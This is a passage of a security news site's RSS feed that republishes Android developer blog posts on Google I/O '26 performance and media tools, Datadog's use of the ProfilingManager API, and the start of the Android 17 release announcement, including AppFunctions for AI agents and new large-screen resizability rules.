<guid isPermaLink="true">https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:42 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKGsnLX5Gwc9xouq7Q32ltvbL7xW_d4jnCXtoEFr7emB2wzqlZEuXM8FXe22ZPSguMX-nOrxAPYja6AYBZWxF-lKJYxw09D3f2aMyjxsSi5jinnDBjJPOIFDyqVhuJC2SjOqKHLAmstGg1nhyphenhyphenJGYfp3m71TPL_i3xFAUm6PKp3uo5WVytjoRwTIoNmMVQ/s4097/MM_Differentiated%20Experiences_Meta.png">

<div>
  <div class="separator"><em>Posted by Ataul Munim, Android Developer Relations Engineer</em></div>
</div>

<div class="separator">
  <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s4209/MM_Differentiated-Experiences_Blog%20(1).png">
    <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s16000/MM_Differentiated-Experiences_Blog%20(1).png">
  </a>
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<div class="separator">
  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.
</div>

<div>
  <p>To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. </p>
  <p>Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!</p>
</div>

<div class="separator">
  
</div>

<h3>Maximize app performance and ROI with the R8 Configuration Analyzer</h3>
<p>A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.</p>
<p>This year, we’re making it easier to build highly optimized, fast apps by introducing the <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer" target="_blank">R8 Configuration Analyzer</a> in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.</p>
<p>By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.</p>

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<h3>Extend your reach with a unified approach to Widgets on Phones, Watches and Cars</h3>
<p>User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.</p>
<p>In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.</p>
<p>You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.</p>

<div class="separator">
  
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<div>
  <h3>Supercharge your media pipeline with a complete, production-ready toolkit</h3>
  <div>Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. </div>
  <p>It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.<br></p>
  <p>The new Media3 AI Effects library will provide a unified interface for premium features like Image &amp; Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!</p>
  <p>Complete the pipeline with tools designed for professional-grade export and viewing, including:</p>
  <ul>
    <li>CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness</li>
    <li>Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps</li>
    <li>Enhanced Cast support with the new CastPlayer API in Media3</li>
  </ul>
  <p>By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.</p>
</div>

<div class="separator">
  
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<p>For more details, check out the <i>premium</i> Android experience <a href="https://youtube.com/playlist?list=PLWz5rJ2EKKc8lSdmWQ_fSpV9yEGRvEL6S&amp;si=H6-8-AbtEyTqSxeY" target="_blank">YouTube playlist</a>.</p>]]></content:encoded>
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<title><![CDATA[Datadog delivers millions of in-depth performance insights with ProfilingManager]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog


  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Althoug...]]></description>
<link>https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693507/android-tipps/datadog-delivers-millions-of-in-depth-performance-insights-with-profilingmanager/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:39 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/a/AVvXsEh92CmF7Hos-AKsEmr3k9Va10fhbed32pj4r9wxbUAlpyAIh2GV0KhvsRYzkmATQgflpHYdfAgdFkRfq1ki2G7ty5wKfzoaoyYknCOEjb6Auz7r0Zcfk0tR6VCX-3o3L9fpcs419uI5iNdBiOtno7ughGWD0SGJ5n3sfWPEB7ZJ9M_HQFDLhBQ_hv3HFQ8">
<p>Posted by Alice Yuan, Developer Relations Engineer at Google, Arti Arutiunov, Product Manager at Datadog and Nikita Ogorodnikov, Staff Software Engineer at Datadog</p><p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA"><img alt="" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/a/AVvXsEjICmOZHTF4gmgXj1G4r5Fp48jM_W4fN9tjxbdnesvaxjUsuwmrftmILW-CErt5cXGcZp93UGtLy8fBehhZxwZ2oxtjQLNb269jHfkNA3XBHnn9JIVZbApeatdCi9gX6ylK7-5A-DzQ3VSRi8hJCNp_8699CzeD9H0y26Tl-6DO8FIafh9UQFyrpa_C9DA=s16000"></a></div><br><br><p></p>

<p>
  Performance regressions are notoriously hard to reproduce, making regressions a massive bottleneck for mobile developers. Although signals like ANR rates indicate what issues occur in production, pinpointing the specific line of code that resulted in the performance issue has historically necessitated exhaustive manual reproduction or speculative trial-and-error experimentation.
</p>

<p>Datadog collaborated with Google to mitigate this frustration by integrating the ProfilingManager API (available on Android 15+ devices) into its Real User Monitoring (RUM) and Continuous Profiling platforms. This integration transforms the debugging workflow, allowing developers to move beyond surface-level symptoms to being able to detect the <em>why</em> behind a performance bottleneck.
</p>

By leveraging this system-level API, Datadog now processes millions of production profiles weekly across the globe according to Datadog internal data of June 2026. It provides engineering teams with a new level of visibility into real-world performance, all while maintaining a low runtime overhead for production-scale performance monitoring.

<h3>The impact of ProfilingManager</h3><p>
  ProfilingManager is a system service introduced in Android 15 that enables apps to programmatically collect performance data such as call stack samples, field traces and memory heap dumps directly from production environments. This capability shifts the engineering paradigm from reactive manual reproduction to proactive field analysis.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s1280/AANDDM_DataDog_Quote_01.png"><img alt="ProfilingManager is a highly performant solution for code-level insights.  Of the solutions we evaluated, it has the lowest runtime overhead,  gives deep visibility into Java, Kotlin, and C++ traces, and opens the door to gather memory profiles and system-level traces during critical moments like ANRs and out-of-memory (OOM) errors. Yi Lu, Senior Engineer at Datadog" border="0" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVOhdnTTwX9DT3ROPHDLHKm1aJ8Z0vo5wYsHTULe7oRBqsi2-pTblEC1ggNuVXdd5rCZv6RooG4dsdOqMM_8URLUxierH3KjujbTyVSFrqNIs01zMqb_o7uXFeYECms5s_CkX1WvAPaQeO5W9bpnvD4S4BNN0mH9qbanuTukvCg8LTozhNEhY0CQ0o0Q/s16000/AANDDM_DataDog_Quote_01.png"></a></div><br><p><br></p>

For example, a Google communications app used field traces to investigate why its cold start times were slower on newer, more powerful hardware. By diving into the field-collected traces and comparing traces across different device types, the engineer discovered a hidden scheduling issue: a background text-to-speech service was unnecessarily being prewarmed during app startup. The traces revealed that this background process was monopolizing the device's highest-performing big CPU core, forcing the app's main thread to sleep while the prewarm occurred.

<h3>Solving the Android code-level visibility challenge</h3><p>
  Prior to the implementation of ProfilingManager, Datadog’s Real User Monitoring (RUM) focused on high-level application health and session-level telemetry to assess the user journey. Engineering teams could monitor Android performance signals like time to initial display, ANR rates, CPU load, and frozen frames. These insights extended to granular interactions, such as network latency, touch events, and main thread hangs. However, while this data effectively highlighted which performance bottlenecks were surfacing in the field, it provided no clear path to identifying the root cause of these failures.</p><div><span face='"Google Sans", sans-serif'><br></span></div><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o"><img alt="We realized that across our profiling features, performance profiling on mobile applications remained a blind spot. Teams could see that an Android user experienced a slow screen render or an ANR, but lacked the same code-level visibility they relied on for their backend services. - Bryan Antigua, Senior Product Manager at Datadog" data-original-height="720" data-original-width="1280" src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
